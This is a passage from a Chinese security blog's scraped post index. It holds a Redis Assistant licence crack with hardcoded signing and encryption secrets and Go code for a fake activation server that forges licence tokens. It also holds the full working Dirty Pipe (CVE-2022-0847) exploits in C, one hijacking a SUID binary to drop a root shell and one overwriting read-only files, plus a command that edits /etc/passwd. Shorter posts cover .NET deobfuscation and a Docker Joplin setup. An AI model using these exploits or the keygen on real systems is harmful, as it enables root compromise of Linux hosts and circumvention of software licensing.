对传入的jwt值以.截取为三个部分，最后面signhash与HMACSHA256签名做对比\n前两部分进行计算数据的哈希值\n再进行简单的替换：\ntext = array[0].Replace(\u0026#39;-\u0026#39;, \u0026#39;+\u0026#39;).Replace(\u0026#39;_\u0026#39;, \u0026#39;/\u0026#39;); text2 = array[1].Replace(\u0026#39;-\u0026#39;, \u0026#39;+\u0026#39;).Replace(\u0026#39;_\u0026#39;, \u0026#39;/\u0026#39;); 解密过程 StringCipher.Encrypt(JsonSerializer.Serialize\u0026lt;User\u0026gt;(user, MainWindow.UglyJsonSerializerOptions), \u0026#34;chenjing1238989@jiajdif#^%!\u0026amp;@\u0026#34;); StringCipher.Encrypt方法如下：\n先是用PBKDF2生成的哈希作为AES KEY ，再进行解密\n写出相应的“注册机” 劫持发送的请求至本地的web server上，进而进行模拟出jwt授权内容 进行破解。\n只给出几个关键的go文件，不提供build 二进制文件。\nhmacsha256.go package main import ( \u0026#34;crypto/hmac\u0026#34; \u0026#34;crypto/sha256\u0026#34; \u0026#34;encoding/hex\u0026#34; \u0026#34;strings\u0026#34; ) const secret = \u0026#34;jingchen39128371237287123974@qwe123chen\u0026amp;*\u0026#34; func GenHMACSHA256(token []byte) string { key := []byte(secret) hash := hmac.New(sha256.New, key) hash.Write(token) sign := hex.EncodeToString(hash.Sum(nil)) return strings.ToUpper(sign) } jwt.go package main import ( \u0026#34;encoding/base64\u0026#34; \u0026#34;encoding/json\u0026#34; \u0026#34;github.com/google/uuid\u0026#34; \u0026#34;strings\u0026#34; \u0026#34;time\u0026#34; ) type JWTPayload struct { ActivationData int64 `json:\u0026#34;activation_data\u0026#34;` Iss string `json:\u0026#34;iss\u0026#34;` ExpireDate int64 `json:\u0026#34;expireDate\u0026#34;` Type int64 `json:\u0026#34;type\u0026#34;` Email string `json:\u0026#34;email\u0026#34;` Jti string `json:\u0026#34;jti\u0026#34;` } /* { \u0026#34;activationData\u0026#34;: 1660484106740, \u0026#34;iss\u0026#34;: \u0026#34;Redis Assistant\u0026#34;, \u0026#34;expireDate\u0026#34;: 1660743306740, \u0026#34;type\u0026#34;: 678715634, \u0026#34;email\u0026#34;: \u0026#34;FREE-USER-AA2B-478D-8DF2-3A2A30E6B401\u0026#34;, \u0026#34;jti\u0026#34;: \u0026#34;45857d0f-7a1d-4c10-a5f9-41d2047fa166\u0026#34; } */ func GenRandomUuid() string { // uuid v4 return uuid.New().String() } func GenActiveJWT() string { // expire data 2099/01/01 00:00:00 expiredate, _ := time.Parse(time.RFC3339, \u0026#34;2099-01-01T00:00:00+08:00\u0026#34;) genjwtpayload := JWTPayload{ ActivationData: time.Now().UnixMilli(), Iss: \u0026#34;Redis Assistant\u0026#34;, ExpireDate: expiredate.UnixMilli(), Type: 678715634, Email: \u0026#34;Wrysunny\u0026#39;s Cracked !\\r\\n仅限自己破解使用\\r\\n \u0026#34;, Jti: GenRandomUuid(), } jwt2text, _ := json.Marshal(\u0026amp;genjwtpayload) // jwt header type JWTHeader struct { Typ string `json:\u0026#34;typ\u0026#34;` Alg string `json:\u0026#34;alg\u0026#34;` } genjwtheader := JWTHeader{ Typ: \u0026#34;JWT\u0026#34;, Alg: \u0026#34;HS256\u0026#34;, } jwt1text, _ := json.Marshal(\u0026amp;genjwtheader) text1 := base64.StdEncoding.EncodeToString(jwt1text) text2 := base64.StdEncoding.EncodeToString(jwt2text) var str = []string{text1, text2} s3 := strings.Join(str, \u0026#34;.\u0026#34;) return s3 } func OutputJWT() string { payload := GenActiveJWT() sign := GenHMACSHA256([]byte(payload)) var str = []string{payload, sign} jwt := strings.Join(str, \u0026#34;.\u0026#34;) return jwt } main.go package main import ( \u0026#34;encoding/base64\u0026#34; \u0026#34;encoding/json\u0026#34; \u0026#34;fmt\u0026#34; \u0026#34;log\u0026#34; \u0026#34;net/http\u0026#34; \u0026#34;strings\u0026#34; \u0026#34;time\u0026#34; ) func main() { route := http.DefaultServeMux route.HandleFunc(\u0026#34;/\u0026#34;, index) route.HandleFunc(\u0026#34;/auth/now\u0026#34;, now) route.HandleFunc(\u0026#34;/auth/freeTrial\u0026#34;, freeTrial) route.HandleFunc(\u0026#34;/activate/activateByToken\u0026#34;, freeTrial) log.Fatal(http.ListenAndServe(\u0026#34;:80\u0026#34;, route)) } func index(w http.ResponseWriter, r *http.Request) { fmt.Fprintf(w, \u0026#34;This is private api server !\u0026#34;) } func now(w http.ResponseWriter, r *http.Request) { type AuthNow struct { Code int `json:\u0026#34;code\u0026#34;` Token string `json:\u0026#34;token\u0026#34;` Activate bool `json:\u0026#34;activate\u0026#34;` } authinfo := AuthNow{ Code: 0, Token: Token(), Activate: false, } str, _ := json.Marshal(\u0026amp;authinfo) fmt.Fprintf(w, string(str)) } func Token() string { // jwt header type JWTHeader struct { Typ string `json:\u0026#34;typ\u0026#34;` Alg string `json:\u0026#34;alg\u0026#34;` } genjwtheader := JWTHeader{ Typ: \u0026#34;JWT\u0026#34;, Alg: \u0026#34;HS256\u0026#34;, } jwt1text, _ := json.Marshal(\u0026amp;genjwtheader) text1 := base64.StdEncoding.EncodeToString(jwt1text) // jwt payload type JWTPayload struct { Now int64 `json:\u0026#34;now\u0026#34;` Iss string `json:\u0026#34;iss\u0026#34;` Jti string `json:\u0026#34;jti\u0026#34;` } jwtpayload := JWTPayload{ Now: time.Now().UnixMilli(), Iss: \u0026#34;Redis Assistant\u0026#34;, Jti: GenRandomUuid(), } jwt2text, _ := json.Marshal(\u0026amp;jwtpayload) text2 := base64.StdEncoding.EncodeToString(jwt2text) // strings json . var str = []string{text1, text2} s3 := strings.Join(str, \u0026#34;.\u0026#34;) sign := GenHMACSHA256([]byte(s3)) var str2 = []string{s3, sign} jwt := strings.Join(str2, \u0026#34;.\u0026#34;) return jwt } func freeTrial(w http.ResponseWriter, r *http.Request) { type AuthNow struct { Code int `json:\u0026#34;code\u0026#34;` Token string `json:\u0026#34;token\u0026#34;` Activate bool `json:\u0026#34;activate\u0026#34;` } authinfo := AuthNow{ Code: 0, Token: OutputJWT(), Activate: false, } str, _ := json.Marshal(\u0026amp;authinfo) fmt.Fprintf(w, string(str)) } 数据包 软件运行时发送的数据包为：\nGET /auth/now HTTP/1.1 Authorization: Basic Y2hlbmppbmc6Y2hlbmppbmc5NDEyQHFxLmNvbQ== Accept: application/json, text/json, text/x-json, text/javascript, application/xml, text/xml User-Agent: RestSharp/108.0.1.0 Host: www.redisant.cn Accept-Encoding: gzip Connection: Keep-Alive HTTP/1.1 200 Date: Sun, 14 Aug 2022 13:47:23 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: keep-alive Set-Cookie: __yjs_duid=1_d3f99f6aa97e10ae8a477a505452c6821660484843903; expires=Tue, 13-Aug-24 13:47:23 GMT; Path=/; Domain=redisant.cn; HttpOnly Content-Encoding: gzip YJS-ID: b9103a374a7f34c1-135 Server: yunjiasu {\u0026#34;code\u0026#34;:0,\u0026#34;token\u0026#34;:\u0026#34;eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJub3ciOiIxNjYwNDg0ODQzOTUxIiwiaXNzIjoiUmVkaXMgQXNzaXN0YW50IiwianRpIjoiNGY2NmVjNGItMzM1YS00ZGI1LTgwMGMtOWNjMmUwNWFlMzUxIn0=.24A4BA07805C1E12A7541153C084A1A552410155D82041C027E009988B2AD59F\u0026#34;,\u0026#34;activate\u0026#34;:false} 软件首次运行时发送的试用数据包为：\nPOST /auth/freeTrial HTTP/1.1 Authorization: Basic Y2hlbmppbmc6Y2hlbmppbmc5NDEyQHFxLmNvbQ== Accept: application/json, text/json, text/x-json, text/javascript, application/xml, text/xml User-Agent: RestSharp/108.0.1.0 Content-Type: application/x-www-form-urlencoded; charset=utf-8 Host: www.redisant.cn Content-Length: 45 Expect: 100-continue Accept-Encoding: gzip Connection: Keep-Alive id=0%7Cnull%7Cignore\u0026amp;software=REDIS_ASSISTANT HTTP/1.1 200 Date: Sun, 14 Aug 2022 13:57:19 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: keep-alive Set-Cookie: __yjs_duid=1_daf62e73898e8f36abfeeb781c5702c61660485439520; expires=Tue, 13-Aug-24 13:57:19 GMT; Path=/; Domain=redisant.cn; HttpOnly Content-Encoding: gzip YJS-ID: b910517b9b5b34c5-135 Server: yunjiasu {\u0026#34;code\u0026#34;:0,\u0026#34;token\u0026#34;:\u0026#34;eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJhY3RpdmF0aW9uRGF0YSI6MTY2MDQ4NDEwNjc0MCwiaXNzIjoiUmVkaXMgQXNzaXN0YW50IiwiZXhwaXJlRGF0ZSI6MTY2MDc0MzMwNjc0MCwidHlwZSI6Njc4NzE1NjM0LCJlbWFpbCI6IkZSRUUtVVNFUi1BQTJCLTQ3OEQtOERGMi0zQTJBMzBFNkI0MDEiLCJqdGkiOiI0NTg1N2QwZi03YTFkLTRjMTAtYTVmOS00MWQyMDQ3ZmExNjYifQ==.88D72DED98D592F2092DD02AACAC8470EEFF07B5A9E162992C1276E569F96745\u0026#34;,\u0026#34;activate\u0026#34;:false} 破解完成效果 ","permalink":"https://synology.pub/post/%E5%86%8D%E5%88%86%E6%9E%90redis-assistant%E7%A0%B4%E8%A7%A3/","tags":[".net","破解","Redis Assistant"],"title":"再分析Redis Assistant“破解”"},{"categories":[".net"],"content":"前因 前几天在分析某款软件时，遇到了使用开源混淆器ConfuserEx的dll（动态链接库），当时使用dnspy加载dll文件时部分方法反编译不了，部分变量为unicode编码，无法进行反编译。\n后来经过多个工具配合使用成功的进行了反混淆，故在此记录下对ConfuserEx反混淆的过程。\n过程 直接使用dnspy加载 直接使用dnspy进行反编译可以看到变量为unicode编码、大部分方法无法进行反编译。 没有任何的可读性，且无法追踪具体方法实现代码。\n查壳 先使用查壳工具ExeinfoPe进行检查下是什么壳或混淆，这里可以看到提示了使用ConfuserEx混淆。\n可以看到使用了开源.net 混淆器ConfuserEx ，这里我参考了大佬的一篇文章https://www.suajin.com/detail/891 ，里面用到的unConfuserEx工具如下：\n1264812240972943360.zip 反混淆处理 解包 先使用UnConfuserEx进行“解包”操作\n这时反混淆后的dll仍为不可读的，虽然能成功反编译，但还是有大量的乱码等方法名。\nRemove Junk Methods 使用Fixer工具来删除垃圾方法，这一步直接勾选Remove Junk Methods就好了\nDecrypt strin 使用ConfuseExStringDecryptor工具来解密字符串（dnspy上看到的那一大坨unicode等编码的字符串）\ndeobfuscate 使用ConfuserEX Switch Killer工具进行反混淆操作\nrename symbols 上述生成的文件经过de4dot工具进行更改符号表等操作，使之更有可读性\n成果 把反混淆处理后的dll文件拖入dnspy工具中查看，可以看到已经能成功的还原出来具有高度可读性的代码了\n","permalink":"https://synology.pub/post/%E8%AE%B0%E4%B8%80%E6%AC%A1.net-confuserex%E5%8F%8D%E6%B7%B7%E6%B7%86%E5%A4%84%E7%90%86/","tags":[".net","反混淆","ConfuserEx"],"title":"记一次.net ConfuserEx反混淆处理"},{"categories":["提权"],"content":"说明 CVE-2022-0847是自5.8以来Linux内核中的一个漏洞，它允许覆盖任意只读文件中的数据。导致权限提升，因为非特权进程可以将代码注入根进程。\n影响版本 内核版本大于等于5.8。 此漏洞已在 Linux 5.16.11、5.15.25 和 5.10.102 中修复。\n5.8 \u0026lt;= (kernel version) \u0026lt; 5.16.11、5.15.25、 5.10.102\n利用条件 对文件有可读权限（否则无法利用） 无法调整文件大小（不能扩增、缩小文件）（并不是） 原始内容如下：\nthe attacker must have read permissions (because it needs to a page into a pipe)splice() the offset must not be on a page boundary (because at least one byte of that page must have been spliced into the pipe) the write cannot cross a page boundary (because a new anonymous buffer would be created for the rest) the file cannot be resized (because the pipe has its own page fill management and does not tell the page cache how much data has been appended) 参考链接 dirtypipe.cm4all.com poc 利用 劫持suid程序执行命令\npoc 如下： // // dirtypipez.c // // hacked up Dirty Pipe (CVE-2022-0847) PoC that hijacks a SUID binary to spawn // a root shell. (and attempts to restore the damaged binary as well) // // Wow, Dirty CoW reloaded! // // -- blasty \u0026lt;peter@haxx.in\u0026gt; // 2022-03-07 /* SPDX-License-Identifier: GPL-2.0 */ /* * Copyright 2022 CM4all GmbH / IONOS SE * * author: Max Kellermann \u0026lt;max.kellermann@ionos.com\u0026gt; * * Proof-of-concept exploit for the Dirty Pipe * vulnerability (CVE-2022-0847) caused by an uninitialized * \u0026#34;pipe_buffer.flags\u0026#34; variable. It demonstrates how to overwrite any * file contents in the page cache, even if the file is not permitted * to be written, immutable or on a read-only mount. * * This exploit requires Linux 5.8 or later; the code path was made * reachable by commit f6dd975583bd (\u0026#34;pipe: merge * anon_pipe_buf*_ops\u0026#34;). The commit did not introduce the bug, it was * there before, it just provided an easy way to exploit it. * * There are two major limitations of this exploit: the offset cannot * be on a page boundary (it needs to write one byte before the offset * to add a reference to this page to the pipe), and the write cannot * cross a page boundary. * * Example: ./write_anything /root/.ssh/authorized_keys 1 $\u0026#39;\\nssh-ed25519 AAA......\\n\u0026#39; * * Further explanation: https://dirtypipe.cm4all.com/ */ #define _GNU_SOURCE #include \u0026lt;unistd.h\u0026gt; #include \u0026lt;fcntl.h\u0026gt; #include \u0026lt;stdio.h\u0026gt; #include \u0026lt;stdlib.h\u0026gt; #include \u0026lt;string.h\u0026gt; #include \u0026lt;sys/stat.h\u0026gt; #include \u0026lt;sys/user.h\u0026gt; #include \u0026lt;stdint.h\u0026gt; #ifndef PAGE_SIZE #define PAGE_SIZE 4096 #endif // small (linux x86_64) ELF file matroshka doll that does; // fd = open(\u0026#34;/tmp/sh\u0026#34;, O_WRONLY | O_CREAT | O_TRUNC); // write(fd, elfcode, elfcode_len) // chmod(\u0026#34;/tmp/sh\u0026#34;, 04755) // close(fd); // exit(0); // // the dropped ELF simply does: // setuid(0); // setgid(0); // execve(\u0026#34;/bin/sh\u0026#34;, [\u0026#34;/bin/sh\u0026#34;, NULL], [NULL]); unsigned char elfcode[] = { /*0x7f,*/ 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00, 0x78, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x97, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x97, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x3d, 0x56, 0x00, 0x00, 0x00, 0x48, 0xc7, 0xc6, 0x41, 0x02, 0x00, 0x00, 0x48, 0xc7, 0xc0, 0x02, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0x89, 0xc7, 0x48, 0x8d, 0x35, 0x44, 0x00, 0x00, 0x00, 0x48, 0xc7, 0xc2, 0xba, 0x00, 0x00, 0x00, 0x48, 0xc7, 0xc0, 0x01, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0xc7, 0xc0, 0x03, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0x8d, 0x3d, 0x1c, 0x00, 0x00, 0x00, 0x48, 0xc7, 0xc6, 0xed, 0x09, 0x00, 0x00, 0x48, 0xc7, 0xc0, 0x5a, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0x31, 0xff, 0x48, 0xc7, 0xc0, 0x3c, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x2f, 0x74, 0x6d, 0x70, 0x2f, 0x73, 0x68, 0x00, 0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00, 0x78, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0xba, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xba, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x31, 0xff, 0x48, 0xc7, 0xc0, 0x69, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0x31, 0xff, 0x48, 0xc7, 0xc0, 0x6a, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0x8d, 0x3d, 0x1b, 0x00, 0x00, 0x00, 0x6a, 0x00, 0x48, 0x89, 0xe2, 0x57, 0x48, 0x89, 0xe6, 0x48, 0xc7, 0xc0, 0x3b, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0xc7, 0xc0, 0x3c, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00 }; /** * Create a pipe where all \u0026#34;bufs\u0026#34; on the pipe_inode_info ring have the * PIPE_BUF_FLAG_CAN_MERGE flag set. */ static void prepare_pipe(int p[2]) { if (pipe(p)) abort(); const unsigned pipe_size = fcntl(p[1], F_GETPIPE_SZ); static char buffer[4096]; /* fill the pipe completely; each pipe_buffer will now have the PIPE_BUF_FLAG_CAN_MERGE flag */ for (unsigned r = pipe_size; r \u0026gt; 0;) { unsigned n = r \u0026gt; sizeof(buffer) ? sizeof(buffer) : r; write(p[1], buffer, n); r -= n; } /* drain the pipe, freeing all pipe_buffer instances (but leaving the flags initialized) */ for (unsigned r = pipe_size; r \u0026gt; 0;) { unsigned n = r \u0026gt; sizeof(buffer) ? sizeof(buffer) : r; read(p[0], buffer, n); r -= n; } /* the pipe is now empty, and if somebody adds a new pipe_buffer without initializing its \u0026#34;flags\u0026#34;, the buffer will be mergeable */ } int hax(char *filename, long offset, uint8_t *data, size_t len) { /* open the input file and validate the specified offset */ const int fd = open(filename, O_RDONLY); // yes, read-only! :-) if (fd \u0026lt; 0) { perror(\u0026#34;open failed\u0026#34;); return -1; } struct stat st; if (fstat(fd, \u0026amp;st)) { perror(\u0026#34;stat failed\u0026#34;); return -1; } /* create the pipe with all flags initialized with PIPE_BUF_FLAG_CAN_MERGE */ int p[2]; prepare_pipe(p); /* splice one byte from before the specified offset into the pipe; this will add a reference to the page cache, but since copy_page_to_iter_pipe() does not initialize the \u0026#34;flags\u0026#34;, PIPE_BUF_FLAG_CAN_MERGE is still set */ --offset; ssize_t nbytes = splice(fd, \u0026amp;offset, p[1], NULL, 1, 0); if (nbytes \u0026lt; 0) { perror(\u0026#34;splice failed\u0026#34;); return -1; } if (nbytes == 0) { fprintf(stderr, \u0026#34;short splice\\n\u0026#34;); return -1; } /* the following write will not create a new pipe_buffer, but will instead write into the page cache, because of the PIPE_BUF_FLAG_CAN_MERGE flag */ nbytes = write(p[1], data, len); if (nbytes \u0026lt; 0) { perror(\u0026#34;write failed\u0026#34;); return -1; } if ((size_t)nbytes \u0026lt; len) { fprintf(stderr, \u0026#34;short write\\n\u0026#34;); return -1; } close(fd); return 0; } int main(int argc, char **argv) { if (argc != 2) { fprintf(stderr, \u0026#34;Usage: %s SUID\\n\u0026#34;, argv[0]); return EXIT_FAILURE; } char *path = argv[1]; uint8_t *data = elfcode; int fd = open(path, O_RDONLY); uint8_t *orig_bytes = malloc(sizeof(elfcode)); lseek(fd, 1, SEEK_SET); read(fd, orig_bytes, sizeof(elfcode)); close(fd); printf(\u0026#34;[+] hijacking suid binary..\\n\u0026#34;); if (hax(path, 1, elfcode, sizeof(elfcode)) != 0) { printf(\u0026#34;[~] failed\\n\u0026#34;); return EXIT_FAILURE; } printf(\u0026#34;[+] dropping suid shell..\\n\u0026#34;); system(path); printf(\u0026#34;[+] restoring suid binary..\\n\u0026#34;); if (hax(path, 1, orig_bytes, sizeof(elfcode)) != 0) { printf(\u0026#34;[~] failed\\n\u0026#34;); return EXIT_FAILURE; } printf(\u0026#34;[+] popping root shell.. (dont forget to clean up /tmp/sh ;))\\n\u0026#34;); system(\u0026#34;/tmp/sh\u0026#34;); return EXIT_SUCCESS; } 直接运行 要想了解为什么能提权执行命令，首先要搞懂代码执行中都干了什么。\nelfcode数组中的那一串hex编码经过解码后发现是/bin/sh启动/tmp/sh的elf hex编码文件 为了方便查看，进行了换行 流程上大概是程序读取一个有suid权限的程序，然后通过pipe管道对这个suid程序进行篡改输出到/tmp/sh中 /tmp/sh为执行sh功能的elf文件 此时执行的程序便有了suid的权限了。\n执行进程如下： 篡改权限为只读的文件内容直接贴上poc /* SPDX-License-Identifier: GPL-2.0 */ /* * Copyright 2022 CM4all GmbH / IONOS SE * * author: Max Kellermann \u0026lt;max.kellermann@ionos.com\u0026gt; * * Proof-of-concept exploit for the Dirty Pipe * vulnerability (CVE-2022-0847) caused by an uninitialized * \u0026#34;pipe_buffer.flags\u0026#34; variable. It demonstrates how to overwrite any * file contents in the page cache, even if the file is not permitted * to be written, immutable or on a read-only mount. * * This exploit requires Linux 5.8 or later; the code path was made * reachable by commit f6dd975583bd (\u0026#34;pipe: merge * anon_pipe_buf*_ops\u0026#34;). The commit did not introduce the bug, it was * there before, it just provided an easy way to exploit it. * * There are two major limitations of this exploit: the offset cannot * be on a page boundary (it needs to write one byte before the offset * to add a reference to this page to the pipe), and the write cannot * cross a page boundary. * * Example: ./write_anything /root/.ssh/authorized_keys 1 $\u0026#39;\\nssh-ed25519 AAA......\\n\u0026#39; * * Further explanation: https://dirtypipe.cm4all.com/ */ #define _GNU_SOURCE #include \u0026lt;unistd.h\u0026gt; #include \u0026lt;fcntl.h\u0026gt; #include \u0026lt;stdio.h\u0026gt; #include \u0026lt;stdlib.h\u0026gt; #include \u0026lt;string.h\u0026gt; #include \u0026lt;sys/stat.h\u0026gt; #include \u0026lt;sys/user.h\u0026gt; #ifndef PAGE_SIZE #define PAGE_SIZE 4096 #endif /** * Create a pipe where all \u0026#34;bufs\u0026#34; on the pipe_inode_info ring have the * PIPE_BUF_FLAG_CAN_MERGE flag set. */ static void prepare_pipe(int p[2]) { if (pipe(p)) abort(); const unsigned pipe_size = fcntl(p[1], F_GETPIPE_SZ); static char buffer[4096]; /* fill the pipe completely; each pipe_buffer will now have the PIPE_BUF_FLAG_CAN_MERGE flag */ for (unsigned r = pipe_size; r \u0026gt; 0;) { unsigned n = r \u0026gt; sizeof(buffer) ? sizeof(buffer) : r; write(p[1], buffer, n); r -= n; } /* drain the pipe, freeing all pipe_buffer instances (but leaving the flags initialized) */ for (unsigned r = pipe_size; r \u0026gt; 0;) { unsigned n = r \u0026gt; sizeof(buffer) ? sizeof(buffer) : r; read(p[0], buffer, n); r -= n; } /* the pipe is now empty, and if somebody adds a new pipe_buffer without initializing its \u0026#34;flags\u0026#34;, the buffer will be mergeable */ } int main(int argc, char **argv) { if (argc != 4) { fprintf(stderr, \u0026#34;Usage: %s TARGETFILE OFFSET DATA\\n\u0026#34;, argv[0]); return EXIT_FAILURE; } /* dumb command-line argument parser */ const char *const path = argv[1]; loff_t offset = strtoul(argv[2], NULL, 0); const char *const data = argv[3]; const size_t data_size = strlen(data); if (offset % PAGE_SIZE == 0) { fprintf(stderr, \u0026#34;Sorry, cannot start writing at a page boundary\\n\u0026#34;); return EXIT_FAILURE; } const loff_t next_page = (offset | (PAGE_SIZE - 1)) + 1; const loff_t end_offset = offset + (loff_t)data_size; if (end_offset \u0026gt; next_page) { fprintf(stderr, \u0026#34;Sorry, cannot write across a page boundary\\n\u0026#34;); return EXIT_FAILURE; } /* open the input file and validate the specified offset */ const int fd = open(path, O_RDONLY); // yes, read-only! :-) if (fd \u0026lt; 0) { perror(\u0026#34;open failed\u0026#34;); return EXIT_FAILURE; } struct stat st; if (fstat(fd, \u0026amp;st)) { perror(\u0026#34;stat failed\u0026#34;); return EXIT_FAILURE; } if (offset \u0026gt; st.st_size) { fprintf(stderr, \u0026#34;Offset is not inside the file\\n\u0026#34;); return EXIT_FAILURE; } if (end_offset \u0026gt; st.st_size) { fprintf(stderr, \u0026#34;Sorry, cannot enlarge the file\\n\u0026#34;); return EXIT_FAILURE; } /* create the pipe with all flags initialized with PIPE_BUF_FLAG_CAN_MERGE */ int p[2]; prepare_pipe(p); /* splice one byte from before the specified offset into the pipe; this will add a reference to the page cache, but since copy_page_to_iter_pipe() does not initialize the \u0026#34;flags\u0026#34;, PIPE_BUF_FLAG_CAN_MERGE is still set */ --offset; ssize_t nbytes = splice(fd, \u0026amp;offset, p[1], NULL, 1, 0); if (nbytes \u0026lt; 0) { perror(\u0026#34;splice failed\u0026#34;); return EXIT_FAILURE; } if (nbytes == 0) { fprintf(stderr, \u0026#34;short splice\\n\u0026#34;); return EXIT_FAILURE; } /* the following write will not create a new pipe_buffer, but will instead write into the page cache, because of the PIPE_BUF_FLAG_CAN_MERGE flag */ nbytes = write(p[1], data, data_size); if (nbytes \u0026lt; 0) { perror(\u0026#34;write failed\u0026#34;); return EXIT_FAILURE; } if ((size_t)nbytes \u0026lt; data_size) { fprintf(stderr, \u0026#34;short write\\n\u0026#34;); return EXIT_FAILURE; } printf(\u0026#34;It worked!\\n\u0026#34;); return EXIT_SUCCESS; } 使用gcc exp.c -o exp -std=c99进行编译执行\npasswd_tmp=$(cat /etc/passwd|head) ./exp /tmp/passwd 1 \u0026#34;${passwd_tmp/root:x/oot:1234567890:qqssdfffdccbdgdfgdfgd}\u0026#34; 即可修改当前权限下只读权限的文件内容 在命令行中可以看到有个输入值1 这是因为：\nconst char *const data = argv[3]; const size_t data_size = strlen(data); data_size就是设置偏移量offset\nconst loff_t next_page = (offset | (PAGE_SIZE - 1)) + 1; const loff_t end_offset = offset + (loff_t)data_size; 最后进行写入\nnbytes = write(p[1], data, data_size); if (nbytes \u0026lt; 0) { perror(\u0026#34;write failed\u0026#34;); return EXIT_FAILURE; } if ((size_t)nbytes \u0026lt; data_size) { fprintf(stderr, \u0026#34;short write\\n\u0026#34;); return EXIT_FAILURE; } 总结下，输入值共有三个部分组成：\n./poc \u0026lt;只读文件\u0026gt; 1 $\u0026quot;{待写入的文件内容}\u0026quot;\nps: 有师傅说修改容器密码可影响同镜像下所有容器，猜想或许是修改了镜像层导致的吧。如有不对勿喷！\n容器启动后，Docker Daemon 会在容器使用的镜像上添加一个容器层。容器运行时，所有于数据变化相关的操作都是在这个读写层中完成的，如新建文件，修改文件等。删除容器时，Docker Daemon 同时会删除这个容器层。\n每个容器运行时，都有自己的容器层，并在容器层中保存容器运行相关的数据。容器层之下的所有镜像层都是只读的，因此多个容器可以共享同一个镜像。\n摘抄自知乎回答 ","permalink":"https://synology.pub/post/cve-2022-0847/","tags":["提权","Linux"],"title":"Dirty Pipe 提权(CVE-2022-0847)"},{"categories":["Docker"],"content":"部署PostgreSQL数据库 使用docker pull postgres拉取最新的镜像 创建docker永久保存目录，这里我放在/data/joplin_server_data里。在该文件中再创建data目录，映射容器中的/var/lib/postgresql/data目录。使用命令创建容器：\ndocker run -d --name postresql --restart=always -v /data/joplin_server_data/data:/var/lib/postgresql/data -e POSTGRES_DB=joplin -e POSTGRES_PASSWORD=\u0026#34;joplin_P@ssw0rd\u0026#34; -e POSTGRES_USER=pgadmin postgres:latest (没有映射端口是因为joplin server只需要链接到这个容器就行了，没必要去映射端口)\n部署Joplin Server服务 使用docker pull joplin/server拉取最新的镜像 使用命令创建容器：\ndocker run -d --name jpolin_server --restart=always --link postresql:postgres -e APP_BASE_URL=https://joplin.synology.pub:2087/ -e APP_PORT=22300 -e DB_CLIENT=pg -e POSTGRES_PASSWORD=\u0026#34;joplin_P@ssw0rd\u0026#34; -e POSTGRES_DATABASE=joplin -e POSTGRES_USER=pgadmin -e POSTGRES_HOST=postresql -e POSTGRES_PORT=5432 -p 22300:22300 joplin/server:latest 部署完成 部署完成后访问站点 部署完成后的默认用户名为admin@localhost，密码为admin。需要及时的进行修改 ","permalink":"https://synology.pub/post/docker%E6%90%AD%E5%BB%BAjoplin-server%E6%9C%8D%E5%8A%A1/","tags":["Docker","Linux"],"title":"Docker搭建Joplin Server服务"},{"categories":["Android"],"content":"解锁BUG 手机使用的是三星A7000，之前在Android 6.0.1时安装了CROM Service应用并成功解锁，后来回退版本至Android 5.0.2并重新安装了CROM Serice，发现提示已解锁，但是进入BL中显示的是未解锁状态。\nAPK分析 使用jadx-gui进行分析，在KwbLaunchActivity中存在程序运行的主要逻辑。 通过加载kwbso库中的getCustomBinStatusFlag()函数进行一个判断是否已解锁，如果该函数返回值为0进行后续的解锁，否则会判断为已解锁状态。\nlogcat 分析 